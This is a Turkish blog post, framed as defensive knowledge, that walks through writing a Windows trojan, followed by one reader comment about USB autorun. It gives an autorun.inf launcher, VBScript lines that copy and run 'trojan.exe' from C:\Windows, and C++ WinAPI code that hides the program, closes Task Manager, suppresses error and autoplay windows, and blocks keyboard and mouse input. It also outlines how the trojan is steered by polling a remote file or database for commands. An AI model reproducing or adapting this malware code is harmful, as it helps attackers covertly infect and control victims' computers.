Bu yazıyı yazmaktaki amacım kötü niyetli insanlara karşı sizin de bilgi sahibi olup onları kendi silahlarıyla vurmanızı sağlamaktır.  Sanırım bu aralar fazlaca illegal program yazmakla uğraşıyorum. Fakat kötü niyetli bir amaç taşımıyorum. Bir virüs programı yazmak ve virüs programlarının temel mantıklarını öğrenmek  çoğu zaman insanın kötü duygularını okşasa da kötü niyetli insanların karşısında elinize bir koz veriyor.  Sonuç olarak bilgi, güç demektir.

wd-global-header

Tabi ki hiç kimse kendi yazdığı bir virüs programının açık kaynak kodlarını paylaşmaz.  Fakat bir virüs programının nasıl yazıldığını anlatan basit örnekler verilebilir.  Öncelikle iyi bir virüs programı yazmak için kullanılabilecek en iyi dil Assembly dilidir.  Çünkü Assembly dili, kullanıcıya bilgisayar donanımlarını direk olarak kullanabilme imkanı sunuyor.  Fakat c++ da virüs programı yazmak için fena bir seçenek sayılmaz.

Kullanıcı bilgisayarlarını ele geçirmeye yönelik yazılan virüs programları “Trojan” virüsler kategorisinde yer alıyor.  Çeşitli kategorilerde bir çok virüs programı var tabi. Ama bu gün ben “Trojan” virüs programlarının mantığı üzerinden gideceğim.  “Trojan” türkçe manasıyla “Truva Atı” virüsleri kendi manalarını truva atının tarihteki hatırasından alır.   Aynı truva atı gibi bir sisteme yerleştirildiğinde sistem içerisinden sahibi olan bilgisayar korsanına sistemi kontrol etme olanağı sunar. Bilgisayarınızda bir truva atı virüsü mevcutsa,  bu virüsü yazan bilgisayar korsanı bilgisayarınızı dünyanın diğer ucundan kontrol edebilir. Aynı watchdogs oyununda ki gibi. Bu oyunu oynayanlar bilir. 🙂

 

Şimdi virüsü yazmaya başlamadan önce sorulması gereken en önemli soru  “Bu virüsün bir sisteme bulaşmasını nasıl sağlayabilirim” sorusudur.  Bir programın bir sistemde kullanıcının haberi olmadan çalışması ve kendi kendini aktif ederek kendini istenilen dizinlere kopyalaması virüs programlarının hiç şüphesiz en temelini oluşturuyor.  Bunun için çok çeşitli yöntemler kullanılabilir. Aktivex denetimleri, Pop Up izinleri, Windows’un “Autorun”  özelliği, toplu işlem dosyaları,  basic script… vesaire vesaire.    Önceleri oyun CD leri çok satılırdı. Bilenler hemen hatırlayacaktır. CD’yi bilgisayara taktığımızda otomatik olarak CD içerisindeki kurulum ekranı açılıyordu. Bu windows’un “Autorun” özelliğidir. Ve eski virüs programlarının bir çoğu hatta şimdikilerin de bir kısmı kendilerini aktif edebilmek için bu özelliği kullanır.

Bir “txt” dosyası açın ve içerisine

[autorun]

open=windows\"Herhangi bir program. exe"

yazın. Ve bu dosyanın uzantısı “.txt” den “.inf” ye çevirin.  Bir CD ye bu dosyayı kopyalayın. Ve yahut sanal disk tanımlayarak içerisine bunu gömün.  Medyayı çıkarıp tekrar bilgisayara taktığınızda istediğiniz program otomatik olarak açılacaktır.   Bilgisayar üzerinde dizin işlemleri yapabilen ayrıca derlenmeye gerek duymayan programlar yazılabilir.   Bunların başında FSO aracı ve Visual Basic Script geliyor.   Mesela bir örnek verelim.   Yine bir “txt” dosyası açıp içerisine

MsgBox["Hello World"]

yazarak uzantısını “.vbs” olarak değiştirin.  Bu dosyaya çift tıkladığınızda “Hello World” yazan mesaj kutusuyla karşılaşacaksınız.  Bu da vindow’un kullanıcılara dizin işlemlerini kod ile yapabilmesi için sunduğu bir olanak.  Mesela aynı şekilde ;

FSO.CopyFolder ".\trojan", "c:\Windows\trojan", true

kodunu yazdığınız virüs programını sisteme kopyalamak için kullanabileceğiniz  vbs tabanlı bir FSO kodu.

Set oShell = CreateObject("WScript.Shell") 
oShell.Run "C:\Windows\trojan.exe"

Yukarıdaki kod ile  otomatik olarak yazdığınız virüs programınızı çalıştırabilirsiniz. Virüs programları genellikle kendilerini aktif etmek için bu yolları kullanıyorlar. Aynı zamanda bu kodlar, internet üzerinden java script kodlarının içerisine gömülebilir.    Yani girdiğiniz bir web sayfası sizin bilgisayarınızda (eğer aktivex denetim ve pop up  izni verirseniz) bu tür işlemler gerçekleştirebilir ki bu da internet üzerinden bilgisayarınıza bulaşan virüslerin çok büyük bir kısmını oluşturuyor.

Şimdi geçelim virüs programını yazmaya.  Eğer kurbanın bilgisayarını internet üzerinden kontrol edebilmek istiyorsanız öncelikle internette bir web sayfasını ve ya bir veri tabanını üst olarak seçmelisiniz. Bu üstünüzden kurban bilgisayarlara çeşitli değişkenler göndererek onları kontrol edeceksiniz.   Kurban bilgisayarlardaki virüs programı şu mantık ile çalışacaktır;

Trojan virüs, internet üzerinden sürekli txt dosyası indirir ve ya herhangi bir veri tabanına bağlanarak oradan veri çeker. Bu çektiği veriler genellikle değişkenlerdir. Yani 3, 5, gibi sayılardır.  Siz internet üzerinden hangi sayıyı girerseniz kurban bilgisayarındaki virüs o sayıyı çeker ve o sayıya göre programlama algoritmasında yapılmasını istediğiniz şeyi yapar. Virüs programı bu işlemleri yaparken tabi ki  bundan kullanıcının haberi olmamalıdır. Bu yüzden sistemde her türlü gizliliği sağlamalısınız.  C++ da windows.h kütüphanesi ve winapi, bu iş için tam biçilmiş kaftandır.  Programa  include <windows.h> kütüphanesini dahil ederek “findwindow” fonksiyonunu kullanmak çok iş görecektir.  Bu nesne ile windows üzerinde çalışan programlaradan, sistem hatalarından ve daha bir çok konuda programa bildirim verilebilir ve bu programlar kapattırılabilir. Yahut Windows’un kayıt defteri üzerinden de sistemin kontrol paneli dahil olmak üzere bir çok yönetim özelliği engellennebilir. Mesela;

        HWND TaskMgr, SysError, WMP, Disk1, Disk2, Disk3, Disk4, Autoplay, VBS;
        FreeConsole(); // Programın çalışmasını gizlemek için kullanılır.



        TaskMgr = FindWindow(NULL,L"Windows Task Manager");   // Görev Yöneticisinin açık olup olmadığını sorgular
        SysError = FindWindow(NULL,L"System Settings Change"); // Sistem hatasının olup olmadığını sorgular     
        WMP = FindWindow(NULL,L"Windows Media Player"); // madiaplayer ın açık olup olmadığını sorgular
 
        Disk1 = FindWindow(NULL,L"(D:) Removable Disk"); // sanal disk 1 in olup olmadığını sorgular bu işlem virüsünüzü cd olarak tanıtım otomatik çalıştırmak için.
        Disk2 = FindWindow(NULL,L"(E:) Removable Disk"); // 2 sini sorgular 
        Disk3 = FindWindow(NULL,L"(F:) Removable Disk");
        Disk4 = FindWindow(NULL,L"(G:) Removable Disk");

        Autoplay = FindWindow(NULL,L"Autoplay");  // başta bahsettiğimiz Autorun özelliğini sorgular
        
        VBS = FindWindow(NULL,L"Windows Script Host");  // visual basic scriptten oluşan hataları sorgular

        if( TaskMgr != NULL) {     / / Görev yöneticisi açıksa kapatır
            SetWindowText( TaskMgr,L"DIE!!!! =O");
            Sleep(500);
            PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        } 
        if( SysError != NULL) {   //Sistem hatası varsa görüntülenmesini engeller
            PostMessage( SysError, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( WMP != NULL) {  //  madia player'ı  açıksa kapatır
            Sleep(1000);
            PostMessage( WMP, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( Disk1 != NULL) { // sanal disk oluşturur.
            PostMessage( Disk1, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( Disk2 != NULL) {
            PostMessage( Disk2, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( Disk3 != NULL) {
            PostMessage( Disk3, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( Disk4 != NULL) {
            PostMessage( Disk4, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( Autoplay != NULL) {  // otomatik kullan seçeneğini kapatır.
            PostMessage( Autoplay, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if( VBS != NULL) {  // vbs den kaynaklı hataların görüntülenmesine izin vermez.
            PostMessage( VBS, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        Sleep(500);

 

Aynı zamanda windows.h kütüpanesi ile windows üzerindeki bir çok sistem aracını kontrol etmek mümkündür. Sistemde aklınıza gelebilecek her şeyi yapabilirsiniz.  Mesela bir kaç örnek verelim.

Klavye ve mausu bloke etmek için şu kod kullanılabilir;

BlockInput(true);
return 0;

Mesela bir kurbana starwars’ın müziğini dinletmek isteyebilirsiniz.

PlaySound(TEXT("müzik"), NULL, SND_FILENAME);
return 0;

Kendi web sayfanıza yönlendirebilirsiniz;

ShellExecute(NULL,L"open",L"http://www.websayfanız.com/",NULL,NULL,SW_MAXIMIZE);
return 0;

Bunun gibi aklınıza gelebilecek ve sistem üzerinde yapmak istediğiniz bir çok şey…

Bu komutların sizin kontrolünüzde olabilmesini sağlamak için internet üzerinden bu programa çeşitli değerler göndermeniz gerekiyor ki program if koşulları ile sizin gönderdiğiiz sayılar ile sitemi istediğiniz şekilde yönetebilsin.  Bunun için program belirli aralıklar ile istediğiniz bir yerden txt dosyaları indirip içerisini okuyabilir. Ve ya belirli bir veri tabanına bağlanarak belirli bir tablodan veri çekebilir. Yapmak istedikleriniz ve yapabilecekleriniz tamamen kendi hayal gücünüze ve bilginize bağlıdır.   İnternet üzerinden işlem yapabilmek için php ve javascript bilmeniz gerekiyor.  Ben şimdi işin o kısmına değinmek istemiyorum. Oraya da değinirsek baya uzun bir yazı olacak.

4791064128_5566869f36_b

Son olarak c++ da “thread” yapısından da bahsedeyim. Virüs programları “thread” yapısını çok kullanırlar. Threadları bir fonksiyon olarak düşünebilirsiniz. Fakat threadlar paralel işlemler yapabilirler. Bu yüzden program bir işlemi yaparken diğer bir işlemi de kontrol edebilir. Mesela program hem internetten veri çekip onları işlerken hemde sistem hatalarını, sistemde olup bitenleri kontrol etmek zorundadır. Aksi taktirde kullanıcı, programı zayıf bir anında deaktif edebilir.  Bu konuya bakmanız da da fayda var. 🙂

Şimdilik benden bu kadar. Size kolay gelsin.

6 YORUMLAR

  1. saolun çok güzel olmuş . ama autorun ı bir cd yerine usb de yapmak istedim ama her seferinde başarısız oldum.windows 7 den sonra usb ler için autorun özelliği kaldırılmış ne kadar doğru bir bilgi bu

Worpel için bir cevap yazın İptal

Lütfen yorumunuzu giriniz!
Lütfen isminizi buraya giriniz